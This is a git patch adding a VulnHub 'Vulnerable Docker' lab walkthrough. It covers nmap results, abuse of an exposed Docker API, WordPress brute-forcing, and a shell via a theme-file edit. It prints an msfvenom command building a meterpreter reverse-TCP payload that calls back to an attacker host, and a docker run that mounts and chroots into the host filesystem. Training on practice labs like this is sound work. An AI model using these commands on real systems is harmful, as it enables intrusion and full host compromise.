From 44155ca6c0191d13cf24fd0856a07a7a6f798a25 Mon Sep 17 00:00:00 2001 From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Fri, 26 Mar 2021 15:21:40 +0500 Subject: [PATCH] Add files via upload --- VulnHub/Vulnerable_docker.md | 164 +++++++++++++++++++++++++++++++++++ 1 file changed, 164 insertions(+) create mode 100644 VulnHub/Vulnerable_docker.md diff --git a/VulnHub/Vulnerable_docker.md b/VulnHub/Vulnerable_docker.md new file mode 100644 index 0000000..7641f63 --- /dev/null +++ b/VulnHub/Vulnerable_docker.md @@ -0,0 +1,164 @@ +# Vulnhub- Vulnerable Docker (Easy) + + + +We don't need to use `netdiscover` or any other tool to get IP of the box since it already shows at login banner + +## NMAP + +``` +nmap -p- -sC -sV + +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 1024 45:13:08:81:70:6d:46:c3:50:ed:3c:ab:ae:d6:e1:85 (DSA) +| 2048 4c:e7:2b:01:52:16:1d:5c:6b:09:9d:3d:4b:bb:79:90 (RSA) +| 256 cc:2f:62:71:4c:ea:6c:a6:d8:a7:4f:eb:82:2a:22:ba (ECDSA) +|_ 256 73:bf:b4:d6:ad:51:e3:99:26:29:b7:42:e3:ff:c3:81 (ED25519) +2375/tcp open docker Docker 17.06.0-ce +| docker-version: +| BuildTime: 2017-06-23T21:17:13.228983331+00:00 +| Arch: amd64 +| KernelVersion: 3.13.0-128-generic +| ApiVersion: 1.30 +| MinAPIVersion: 1.12 +| GitCommit: 02c1d87 +| Version: 17.06.0-ce +| GoVersion: go1.8.3 +|_ Os: linux +| fingerprint-strings: +| FourOhFourRequest: +| HTTP/1.0 404 Not Found +| Content-Type: application/json +| Date: Wed, 24 Mar 2021 18:06:13 GMT +| Content-Length: 29 +| {"message":"page not found"} +| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: +| HTTP/1.1 400 Bad Request +| Content-Type: text/plain; charset=utf-8 +| Connection: close +| Request +| GetRequest: +| HTTP/1.0 404 Not Found +| Content-Type: application/json +| Date: Wed, 24 Mar 2021 18:05:48 GMT +| Content-Length: 29 +| {"message":"page not found"} +| HTTPOptions: +| HTTP/1.0 200 OK +| Api-Version: 1.30 +| Docker-Experimental: false +| Ostype: linux +| Server: Docker/17.06.0-ce (linux) +| Date: Wed, 24 Mar 2021 18:05:48 GMT +| Content-Length: 0 +| Content-Type: text/plain; charset=utf-8 +| docker: +| HTTP/1.1 400 Bad Request: missing required Host header +| Content-Type: text/plain; charset=utf-8 +| Connection: close +|_ Request: missing required Host header +8000/tcp open http Apache httpd 2.4.10 ((Debian)) +|_http-generator: WordPress 4.8.1 +| http-robots.txt: 1 disallowed entry +|_/wp-admin/ +|_http-server-header: Apache/2.4.10 (Debian) +|_http-title: NotSoEasy Docker – Just another WordPress site +MAC Address: 08:00:27:D7:94:9E (Oracle VirtualBox virtual NIC) +``` + + +## PORT 2375 (Docker) + +Since docker api is exposed we can try connecting to port by listing images + + + +We can also see which containers are currently running + + + + +wordpress:WordPressISBest + +## PORT 8000 + + + + + + +Running `wpscan` + + + + + +We can now bruteforce the password for `bob` + + + + + +Using these credentials we can login to wordpress site + + + +To get a shelll we can edit `404.php` template of the currently active theme + + + + + +Alternatively you can get a meterpreter shell my generating a payload with `msfvenom` + + + + + + + +Now in order to do pivoting web shell are not stable (in both windows and linux ) so after we got the intial foothold we may need to stablize our shell in meterpreter we have to sepefically generate a linux payload + +`msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf` + + + + + +### Unstable shell + + + +### New meterpreter shell + + + + + +Now we have added the route to subnet `172.18.0.0` for docker container , we can now scan for open ports on the container and since there are more as we saw from enumerating docker port + + + +Start `socks4a proxy` + + + +Use `foxyproxy` to switch to socks4a proxy and since port 8022 is open we can see what's there + + + + + + + +This container has `docker.sock` which allows to communicate with docker meaning creating , adding ,deleting container so there's a trick to mount the host system on the docker container by uploading `docker` and run command `docker run -it -v /:/host/ chroot /host/ bash ` binary instead we have docker port and we can access those container so we can remotely do this + +`docker -H tcp://192.168.1.7:2375 run --rm -it -v /:/host wordpress chroot /host bash` + + + +And we can read the the flag which means we are on a host machine + + \ No newline at end of file